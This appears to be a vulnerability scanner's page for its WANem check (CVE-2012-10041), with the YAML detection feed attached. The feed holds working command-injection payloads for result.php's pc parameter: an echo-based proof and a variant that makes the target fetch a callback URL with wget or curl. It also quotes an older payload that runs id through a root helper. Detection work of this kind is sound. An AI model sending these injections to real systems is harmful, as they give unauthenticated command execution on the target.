WANem — 1 vulnerability check
noctis ships 1 vulnerability check for WANem, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WAN Emulator (WANem) result.php pc Command Injection
| CVE | CVE-2012-10041 |
|---|---|
| Severity | critical · CVSS 9.3 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/wanem/CVE-2012-10041.yaml |
Detects the unauthenticated OS command injection in WAN Emulator (WANem): result.php passes the pc parameter straight to a shell command, so a value such as `127.0.0.1 & <command>` runs a command as the web server user. Once title.html identifies a WANem web interface, the feed posts a pc value that detaches the vendor's measurement script and echoes a 12-field line holding the shell-computed sum of two random integers, which result.php renders in its result table. It reports only on proof of real execution: that sum in the reply, or, when out-of-band detection is enabled, an HTTP callback whose URL only a shell can rebuild.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{wanem_dir}}/title.html - HTTP(S) request
POST {{wanem_dir}}/result.phpwith a crafted body - Checks
resp.bodyforNOCTIS[0-9]{7}→ finding QoD 97: WANem command injection confirmed via POST …/result.php pc: injected `127.0.0.1 & echo NOCTIS$((…+…)),...` returned the shell-computed mark… - HTTP(S) request
POST {{wanem_dir}}/result.phpwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: WANem blind command injection confirmed via POST result.php pc: a shell collapsed the $()-split OOB token and the injected wget/curl fetche…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-10041
- https://www.exploit-db.com/exploits/21190
- https://www.vulncheck.com/advisories/wan-emulator-command-execution
Feed source — tests/vulnerabilities/wanem/CVE-2012-10041.yaml
# WAN Emulator (WANem) — /WANem/result.php `pc` command injection (CVE-2012-10041)
#
# Ported from OpenVAS/Greenbone NVT `2012/gb_WANem_52630.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103561, GPL-2.0-only). Request shape also checked
# against the Metasploit module exploit/linux/http/wanem_exec (EDB 21190) and
# the WANem result.php source:
# $ip=$_REQUEST['pc'];
# $command=$wanchar_DIR."/tcs_wanc_menu.sh $ip"; // "sudo /root/wanalyzer"
# $output=shell_exec($command." 2>&1");
# `pc` reaches /bin/sh unfiltered, unauthenticated, as the web server user
# (www-data). WANem 2.3 is the version named in the advisories; the WANem 3.0
# result.php is identical, and there is no fixed release.
#
# result.php only prints the command output when it splits into exactly 12
# comma-separated fields (the WANalyzer measurement table); any other output
# shows "Can't measure!! Please repeat." or "Remote Host Not Reachable !!".
# The NASL's `pc=127.0.0.1;/UNIONFS/home/perc/dosu id&` (dosu = SUID-root
# helper) therefore only matches `uid=..gid=..` when the WANalyzer output
# happens to make up the right field count, and runs `id` as root.
#
# Detection here — gated, per directory (/WANem, then the web root), on
# title.html carrying the WANem title, like the NASL; nothing written, read or
# persisted, no root helper used:
# 1. In-band (QoD 97): pc=`127.0.0.1 </dev/null >/dev/null 2>&1 & echo
# NOCTIS$((a+b)),x,x,x,x,x,x,x,x,x,x,x`. The vendor's WANalyzer run is
# detached with all its output discarded (shell_exec returns at once), so
# the reply is our echo alone: exactly 12 fields, rendered into the result
# table. Reported only when NOCTIS<a+b> comes back; the 7-digit sum never
# appears in the request, so a page reflecting the parameter cannot
# produce it.
# 2. OOB callback (QoD 97, only when OOB is configured and 1 did not fire):
# bounded `wget ... || curl ...` to the per-run OOB URL, the token split by
# an empty $() so only a shell rebuilds the callback path.
#
# Better than the NASL: the proof no longer depends on the WANalyzer output
# field count (the NASL misses every install where it is not 12), blind
# installs are caught by OOB, the proof is a per-run value only real execution
# yields, and no command runs as root.
uid: b7d47de8-a27b-47f3-8e6c-cc029cac1151
name: "WAN Emulator (WANem) result.php pc Command Injection (CVE-2012-10041)"
description: |
Detects the unauthenticated OS command injection in WAN Emulator (WANem):
result.php passes the pc parameter straight to a shell command, so a value
such as `127.0.0.1 & <command>` runs a command as the web server user. Once
title.html identifies a WANem web interface, the feed posts a pc value that
detaches the vendor's measurement script and echoes a 12-field line holding
the shell-computed sum of two random integers, which result.php renders in
its result table. It reports only on proof of real execution: that sum in
the reply, or, when out-of-band detection is enabled, an HTTP callback whose
URL only a shell can rebuild.
cves: [CVE-2012-10041]
cvss: 9.3
severity: critical
confidence_base: 0.30
category: rce
tags: [wanem, wan-emulator, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-10041"
- "https://www.exploit-db.com/exploits/21190"
- "https://www.vulncheck.com/advisories/wan-emulator-command-execution"
- "OpenVAS/Greenbone NASL 2012/gb_WANem_52630.nasl (GPL-2.0-only)"
steps:
# Per-run proof values: a, b in 500000..999999 so the sum has 7 digits and
# cannot hide inside a reflected 6-digit operand.
- id: gen-proof
action: script
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
store_as: proof
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: init-found
action: set_var
var_name: wanem_found
var_value: false
# ── Per directory: the loop runs every step up to wait-callback ─────────
- id: init-title
action: set_var
var_name: title
var_value: {status: 0, body: ""}
loop:
over: ["/WANem", ""]
var: wanem_dir
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
- id: title-page
action: http_request
method: GET
path: "{{wanem_dir}}/title.html"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
store_as: title
- id: mark-found
action: set_var
var_name: wanem_found
var_value: true
condition: "title.status == 200 && (stridx(title.body, \"<TITLE>Welcome to WANem\") >= 0 || stridx(title.body, \"Wide Area Network Emulator\") >= 0)"
# ── 1. In-band ──────────────────────────────────────────────────────────
# %20 = space %3C = < %3E = > %2F = / %26 = & %24%28%28 = $((
# %2B = + %29%29 = )) %2C = ,
- id: inject-echo
action: http_request
method: POST
path: "{{wanem_dir}}/result.php"
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "pc=127.0.0.1%20%3C%2Fdev%2Fnull%20%3E%2Fdev%2Fnull%202%3E%261%20%26%20echo%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%2Cx%2Cx%2Cx%2Cx%2Cx%2Cx%2Cx%2Cx%2Cx%2Cx%2Cx"
condition: "title.status == 200 && (stridx(title.body, \"<TITLE>Welcome to WANem\") >= 0 || stridx(title.body, \"Wide Area Network Emulator\") >= 0)"
store_as: resp
- id: confirm-echo
action: match
source: resp.body
pattern: "NOCTIS[0-9]{7}"
condition: "resp.status == 200 && stridx(resp.body, proof.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WANem command injection confirmed via POST {{wanem_dir}}/result.php pc: injected `127.0.0.1 & echo NOCTIS$(({{proof.a}}+{{proof.b}})),...` returned the shell-computed marker {{proof.marker}}"
stop: true
# ── 2. OOB callback (fired here, awaited once after the loop) ───────────
# `||curl` covers hosts without wget; both are bounded to 5 s. %7C = |
- id: inject-oob
action: http_request
method: POST
path: "{{wanem_dir}}/result.php"
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "pc=127.0.0.1%20%3C%2Fdev%2Fnull%20%3E%2Fdev%2Fnull%202%3E%261%20%26%20wget%20-q%20-T%205%20-O%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20curl%20-s%20-m%205%20-o%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}"
condition: "oob_enabled && title.status == 200 && (stridx(title.body, \"<TITLE>Welcome to WANem\") >= 0 || stridx(title.body, \"Wide Area Network Emulator\") >= 0)"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && wanem_found"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WANem blind command injection confirmed via POST result.php pc: a shell collapsed the $()-split OOB token and the injected wget/curl fetched the per-run OOB URL (HTTP callback received)"
stop: true